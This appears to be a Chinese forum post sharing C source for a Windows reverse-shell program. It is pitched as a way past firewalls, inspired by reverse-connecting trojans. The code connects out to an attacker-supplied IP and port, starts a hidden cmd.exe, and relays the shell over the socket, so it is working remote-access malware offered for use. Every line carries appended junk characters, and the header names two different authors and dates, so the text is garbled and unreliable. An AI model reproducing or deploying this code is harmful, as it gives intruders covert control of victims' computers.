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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E4N{;'  
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/* ============================== +I r  
Rebound port in Windows NT zqa7!ky  
By wind,2006/7 ~-o[v-\  
===============================*/ :c`Gh< u  
#include 8(""ui 8  
#include <e@+w6Kp'7  
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#pragma comment(lib,"wsock32.lib") q jmlwVw  
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void OutputShell(); XMw*4j2E  
SOCKET sClient; >K-S&Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qv.s-@l8  
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void main(int argc,char **argv) gano>W0  
{ d\v1R-V  
WSADATA stWsaData; fu $<*Sa2  
int nRet; <#F@OU  
SOCKADDR_IN stSaiClient,stSaiServer; TnQ"c)ta  
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if(argc != 3) J>p6')Y6~  
{ ;dZuO[4\  
printf("Useage:\n\rRebound DestIP DestPort\n"); $ucA.9pJ  
return; M A  
} E]dmXH8A  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'nSo0cyQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5l4YYwd>v  
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stSaiClient.sin_family = AF_INET; mL]a_S{H  
stSaiClient.sin_port = htons(0); &Na,D7A:3I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r: M>/Z/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g}n-H4LI  
{ AS'%Md&I  
printf("Bind Socket Failed!\n"); Ws*UhJY<GS  
return; q1?}G5a ?  
} :B  9>  
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stSaiServer.sin_family = AF_INET; Tqj:C8K{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D,P{ ,/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z^^)n  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cogIkB&Ju  
{ ,u_ Z0S M  
printf("Connect Error!"); u.dYDi  
return; Bvsxn5z+:  
} _T\cJcWf  
OutputShell(); _kXq0~  
} @jY=b<  
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void OutputShell() ;7E c'nC4  
{ 2xK v;  
char szBuff[1024]; V;29ieE!  
SECURITY_ATTRIBUTES stSecurityAttributes; h yK&)y?~  
OSVERSIONINFO stOsversionInfo; f@Yo]FU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?!HU$>  
STARTUPINFO stStartupInfo; D1R$s*{  
char *szShell; uN8RG_Mb  
PROCESS_INFORMATION stProcessInformation; 2mEvoWnJ  
unsigned long lBytesRead; mLm?yb:  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qV7 9bK  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g+A>Bl3#  
stSecurityAttributes.lpSecurityDescriptor = 0; O+OUcMa,  
stSecurityAttributes.bInheritHandle = TRUE; J"~!jrzBh(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o2~P vef  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Dl@Jj?zc  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z@,[a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d$hBgJe>N  
stStartupInfo.wShowWindow = SW_HIDE; Q|xa:`3?  
stStartupInfo.hStdInput = hReadPipe; TyhO+;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GRh430V [  
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GetVersionEx(&stOsversionInfo); JIPBJ  
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switch(stOsversionInfo.dwPlatformId) S#:l17e3  
{ @ Fkhida  
case 1: v =d16  
szShell = "command.com"; {$g3R@f^~  
break; AVi&cvhs  
default: IGNU_w4j  
szShell = "cmd.exe"; )$ M2+_c  
break; >#VNA^+t  
} LwYWgT\e  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $C{,`{=  
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send(sClient,szMsg,77,0); ly:2XvV3~  
while(1) Wh)!Ha}  
{ f@[qS7ok  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R.!.7dO  
if(lBytesRead) % Ai' 6  
{ _&%FGcAS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _\na9T~g  
send(sClient,szBuff,lBytesRead,0); F?^L^N^  
} $*|M+ofQ  
else cj9C6Y!  
{ m!5Edo-;<  
lBytesRead=recv(sClient,szBuff,1024,0); ~7an j.  
if(lBytesRead<=0) break; >x>/}`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %=!] 1  
} u'nQC*iJb  
} $,P:B%]  
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return; )k;;O7C k  
}
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